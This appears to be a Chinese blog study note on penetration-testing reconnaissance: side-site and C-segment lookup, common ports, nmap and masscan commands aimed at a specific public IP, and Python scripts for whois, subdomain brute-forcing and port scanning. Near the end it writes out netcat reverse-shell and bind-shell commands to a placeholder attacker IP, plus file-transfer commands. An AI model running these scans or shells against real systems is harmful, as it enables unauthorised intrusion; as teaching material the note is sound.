信息收集

信息收集

浅谈信息收集,感谢Jasmine_Iris大手子提供的笔记。

网络资产收集

目的:获得公司名下的网络资产、邮箱、电话等信息(邮箱和电话对后续密码破解可能会有帮助)

信息收集流程

  1. 信息收集的主公司有哪些子公司(已授权的、补天平台)
  2. 收集域名,探测端口
  3. 收集到子域名,可以进行 7kbscan 的目录扫描

域名查询:

企业信息查询平台

ICP 备案查询

  • 定义: ICP备案是指网站所有者向工信部的备案管理系统登记网站域名、IP地址、服务器的位置、运营主体信息(企业/个人)等内容的登记手续;不备案则网站被关闭影响网站运营、信誉受损、受到行政处罚。
  • 注意:正规公司一定会备案,否则会受到行政处罚。ICP=签证
  • 查询手段:

搜索引擎

使用百度/cn.bing 等搜索引擎收集信息。

子域名查询

IP 反查域名

前提:在仅提供 IP 地址的情况下,可以通过 IP 反查域名,获取对应 IP 绑定的域名。

旁站

  • 定义:同 IP,即同服务器下的不同站点。(同IP下,跟目标站在一台服务器上的别的网站。)
  • 目的:找同服务器的其他站点,扩大攻击面。(目标主站防护很严、找不到漏洞,那我就去打同一IP/服务器上的其他网站(旁站),拿下旁站后再想办法控制整台服务器,最终拿下主站。)
补充:旁注
  • 定义:一种渗透测试的攻击思路 / 方法,即 “不直接攻击目标主站,而是先拿下同一服务器上的旁站,再通过提权、跨目录访问等方式,间接控制目标主站”。
  • 工具:反向 IP 域名查询(Reverse IP Domain Check)--核心是通过一个域名 / IP,查找同一服务器上托管的其他网站。同服务器下的不同 web 应用查询技术。
    • 地址YouGetSignal Reverse IP Domain Check
    • 核心作用
      1. 输入域名 / IP,即可查询同一服务器上托管的其他网站
      2. 常用于渗透测试的信息收集阶段,扩大攻击面
      3. 对共享虚拟主机场景,可挖掘同一 IP 下的其他目标
  • 工作原理: 1. 先解析输入域名对应的服务器 IP 2. 对该 IP 执行反向 IP 查询,匹配所有绑定在该 IP 上的域名 3. 输出这些域名,帮助识别同一服务器上的其他 Web 应用

C段

  • 定义:同一 C 段指 IP 地址的前三个字节相同的一组 IP 地址。
  • 目的:扩大攻击面
  • 工具:
    • nmap(扫描网段,kali 自带)
    • Cwebscanner

Whois 查询

通过域名获取 IP

-拥有公司名或者域名,如何获取 IP?

拓展

利用威胁情报平台可以查询 Whois/IP/域名等信息

比如:

Web 信息收集

基本信息收集:

操作系统收集

中间件收集

脚本信息收集

可以借助搜索引擎的方式猜测:

比如:

plain
https://www.iqiyi.com/php

源代码收集

收集当前网站是否使用 CMS,或其他的源代码生成的

步骤:

使用 F12,查看网络资源

去搜索引擎里面查询

补充:CMS

CMSContent Management System(内容管理系统) 的缩写,它是一种位于网站前端与后端之间的软件,用于创建、编辑、组织、审批和发布各种数字内容,包括文字、图片、视频、数据库等。它的核心目标是降低技术门槛,让非技术人员也能高效管理网站内容。

常见的 核心功能 包括:

  • 内容管理:所见即所得(WYSIWYG)编辑器、多版本控制、分类与标签管理。
  • 权限控制:多用户角色分配与分级审核流程。
  • 模板与扩展:预置网站模板、插件扩展、多端适配。
  • SEO优化:URL自定义、站点地图生成、元标签优化。
  • 数据安全:权限管理、自动备份、防攻击插件支持。

常见CMS类型与适用场景:

  • WordPress:全球使用率最高,适合博客、小型企业站、电商(配合WooCommerce)。
  • Drupal:安全性高,适合政府、教育等大型项目。
  • PageAdmin:国产CMS,支持政务站群、多语言,符合信创要求。
  • Shopify/Magento:专注电商,内置支付与商品管理功能。

选择CMS的关键考虑:

  • 网站类型与规模(博客、电商、门户等)。
  • 易用性与扩展性(插件、模板生态)。
  • 安全性与维护成本(更新频率、社区活跃度)。
  • 未来可扩展性(多语言、多站点支持)。

通过合理选型与配置,CMS不仅能提升内容发布效率,还能优化用户体验降低运营成本

数据库信息收集(借助工具扫描端口)

常见端口
文件传输类
  • 21:FTP 文件传输
  • 20:FTP 数据端口
  • 445:SMB Windows文件共享
  • 139:NetBIOS 局域网共享
远程管理类
  • 22:SSH 加密远程登录
  • 23:Telnet 明文远程(高危)
  • 3389:RDP Windows远程桌面
Web服务类(重点)
  • 80:HTTP 明文网页
  • 443:HTTPS 加密网页
  • 8080:Tomcat/代理/备用Web
  • 8081、8082:Web备用端口
数据库类
  • 3306:MySQL
  • 5432:PostgreSQL
  • 1521:Oracle
  • 6379:Redis 缓存数据库
  • 27017:MongoDB
中间件类
  • 8005:Tomcat 关闭端口
  • 8009:Tomcat AJP
  • 7001:WebLogic
  • 8090:JBoss
  • 9090:WebSphere
邮件服务类
  • 25:SMTP 发邮件
  • 110:POP3 收邮件
  • 143:IMAP 邮件同步
网络基础服务类
  • 53:DNS 域名解析
  • 67/68:DHCP 自动分配IP
其他常用
  • 135:Windows RPC 服务
  • 3307:MySQL 备用端口
检测域名或者端口是否开放

NC 瑞士军刀(kali 自带)

php
nc -n -v -wl -z +ip地址 +端口

扫描的 IP 一定要有开放的端口!

域名信息收集

子域名收集

目录收集

  • 目的:目标网站的潜在目录,发现敏感路径。探测哪里可以攻击。
  • 扫描工具:御剑/7kbscan

端口扫描

nmap

端口扫描
plain
-p 80  #扫80端⼝ 
-p 1-80  #扫1-80端⼝ 
-p 80,3389,22,21  #扫指定端⼝
-p-  #等价 -p 1-65535
主机探测

使⽤-sP

plain
nmap -sP 8.217.43.84
服务识别

使⽤-sV

plain
nmap -sV 8.217.43.84 -p 80
nmap -sV 8.217.43.84
系统识别

使⽤-O

plain
sudo nmap -O 8.217.43.84
sudo nmap -O 8.217.43.84 -p 8080
结果导出
plain
sudo nmap -O 8.217.43.84 -oN a.txt

masscan

定义
  • kali 自带的内置工具,性能高于 nmap,可以先使用 masscan 对目标 IP(通常是一个网段进行全端口扫描,然后再使用 nmap 对存活主机的开放端口进行扫描,找出对应端口的服务存在的漏洞。
参数:
  • 基本扫描参数
    • -p:指定扫描的端口范围
    • -P:设置目标主机的端口范围
    • -iL:从文件中读取目标IP地址
  • 扫描速度和性能
    • --rate:设置扫描速度(数据包/秒)
    • --max-rate:设置最大扫描速度
    • --min-rate:设置最小扫描速度
    • --randomize-hosts:随机扫描目标主机
  • 输出格式
    • -oL:以普通文本格式输出结果
    • -oJ:以JSON格式输出结果
    • -oG:以Grepable格式输出结果
  • 网络探测
    • --ping:Ping扫描,检测存活主机
    • --banners:获取主机服务的横幅信息
  • 基础设置
    • --adapter:选择网络适配器
    • --router-mac:指定路由器的MAC地 m 址
示例:

扫描指定端口范围和 IP 范围(C 段):

plain
sudo masscan -p 80-90 --range 8.217.43.1-8.217.43.255

检查指定范围的主机是否存活:

plain
sudo masscan --ping --range 8.217.43.1-8.217.43.255

扫描所有端口,设置速率为 1000(不建议)

plain
masscan -p 1-65535 8.217.43.84 --rate 1000

扫描 1-10000 端口:

plain
masscan -p 1-10000 8.217.43.84

扫描 1-100 端口:

plain
masscan -p 1-100 8.217.43.84

扫描 80 端口:

plain
masscan -p 80 8.217.43.84

内网 IP 扫描 1-10000 端口:

plain
masscan -p 1-10000 192.168.209.1
masscan -p 1-10000 192.168.153.1

从文件中读取 IP 列表,输出为 JSON 格式:

plain
masscan -iL targets.txt -oJ output.json

Web 信息刺探

黑暗引擎

社工信息

python 信息收集

python 实现 IP 查询机制

Socket模块是Python中⽤于实现⽹络通信的⼀个模块,它提供了⼀种⽅式来创建客⼾端和服务器之间的连接,socket.gethostbyname()⽅法可以根据指定的域名返回对应的IP

python
import socket
hostname='www.baidu.com'
ip=socket.gethostbyname(hostname)
print(ip)

python 开发 whois 探索机制

"Whois"模块是⼀个Python模块,⽤于执⾏WHOIS查询以检索⽹络域名的注册信息。它提供了与WHOIS服务器进⾏交互的⼯具,并返回注册信息的结果。使⽤"Whois"模块,可以查询域名的注册状态、域名所有者、注册⽇期、过期⽇期以及其他相关信息。这对于⽹络域名管理和⽹络监控⾮常有⽤。

python
import whois

def whoisCheck(info):
    if info == "":
        # 如果输入信息为空 则结束执行 并输出提示信息
        return print("你输入的是空的啊???")

    # 检索指定的域名
    whoisResultInfo = whois.whois(info)
    # 输出检索到的信息
    print(whoisResultInfo)
    # 输出检索信息中的 name信息
    print(whoisResultInfo['name'])
    # 输出检索信息中的 emails信息
    print(whoisResultInfo['emails'])
    # 输出检索信息中的 注册信息
    print(whoisResultInfo['registrar'])

if __name__ == '__main__':
    info = input("请您输入目标地址哦...")
    whoisCheck(info)

子域名查询

原理:通过调⽤socket.gethostbyname()⽅法来判断是否能获取到给定域名对应的ip,如果能查询到对应的IP说明该域名存在,否则域名⽆效。

需要用到⼦域名字典dict.txt

与 Layer 类似

python
import socket, time

def zymListCheck(url):
    url = url.replace("www", "") # 先把www 替换成 空的
    for zymList in open("dict.txt"): # dict.txt怎么制作? 答:百度一下:百度的子域名 https://site.ip138.com/baidu.com/
        zymList = zymList.replace("\n", "") # 由于字典的每一行,默认就有一个换行,所以把换行 替换成 空
        zymListUrl = zymList + url
        # print(zymListUrl,'------------')
        try:
            ip = socket.gethostbyname(zymListUrl)
            print(zymListUrl + "----> 该子域名的IP为:" + ip)

            time.sleep(1)
        except Exception as e:
            print(zymListUrl + "---> 没有该子域名,错误哦×")
            time.sleep(1)

if __name__ == '__main__':
    # 请您输入目标地址哦... vivo.com.cn
    url = input("请您输入目标地址哦...") 
    zymListCheck(url)

端口扫描

流程:获取扫描的IP和端⼝,链接IP和端⼝,判断连接状态

connect()⽅法:这是⽤来建立连接的⽅法。它需要指定服务器的地址和端⼝号

python
import socket
def port_test():
    # 创建socket对象  默认为TCP连接 
    # sk = socket.socket(网络类型,socket类型)
    sk = socket.socket()
    # 建立链接  连接失败 则报错
    try:
        # sk.connect((ip地址,端口))
        sk.connect(('127.0.0.1',3306))
        print('连接成功')
    except: # 捕获异常
        print('连接失败')
    # 关闭连接
    sk.close()

port_test()

线程端口扫描

threading模块是Python中⽤于创建和管理线程的模块,它建⽴在底层模块_thread的基础上,提供了更⾼级的接⼝来处理线程。这个模块包含了⼀系列的类和函数,⽤于创建线程、同步线程间的操作以及实现线程间的通信。

t=threading.Thread(target=port_test,args=(ip,))创建⼦线程,target⽤于指定执⾏任务,args⽤于传递参数t.start()启动⼦线程

nc 瑞士军刀收集端口

定义

  • NetCat(nc),可以通过 TCP/UDP 协议读写,是一个稳定的连接系统后门的工具,也是一个网络调试和开发工具

参数

  • -l: 开启监听
  • -p: 指定端口
  • -t: 以telnet形式应答
  • -e: 程序重定向
  • -n: 以数字形式标识IP
  • -v: 显示执行命令过程
  • -z: 不进行交互,直接显示结果
  • -u: 使用UDP协议传输
  • -w: 设置超时时间
  • -d: 后台运行

命令

  • nc-n-v-w1-z <目标IP> <端口/端口范围>

反弹 shell

  • 目标机主动连接攻击机,把 Shell 反弹回来
    • 先攻击机:nc.exe -lvp 9999
    • 再目标机:nc.exe -e cmd 攻击机IP 9999

正向 shell

  • 攻击机主动连接目标机,目标机把 Shell 直接返回给攻击机
    • 目标机:nc.exe -lvp 9999 -e cmd.exe
    • 攻击机:nc.exe 目标IP 9999

文件传输

接收端(先开)

bash
nc -lvp 9999 > 接收的文件名

发送端(后发)

bash
nc 对方IP 9999 < 要发送的文件名

比如:以 Windows 为例

接收端

plain
nc.exe -lvp 9999 > test.exe

发送端

plain
nc.exe 192.168.1.10 9999 < test.exe
md
感谢Jasmine_Iris 大手子的开源
AI动画模型(用于进行编程语言的底层动画理解)
CTF常见的指令

评论区

评论加载中...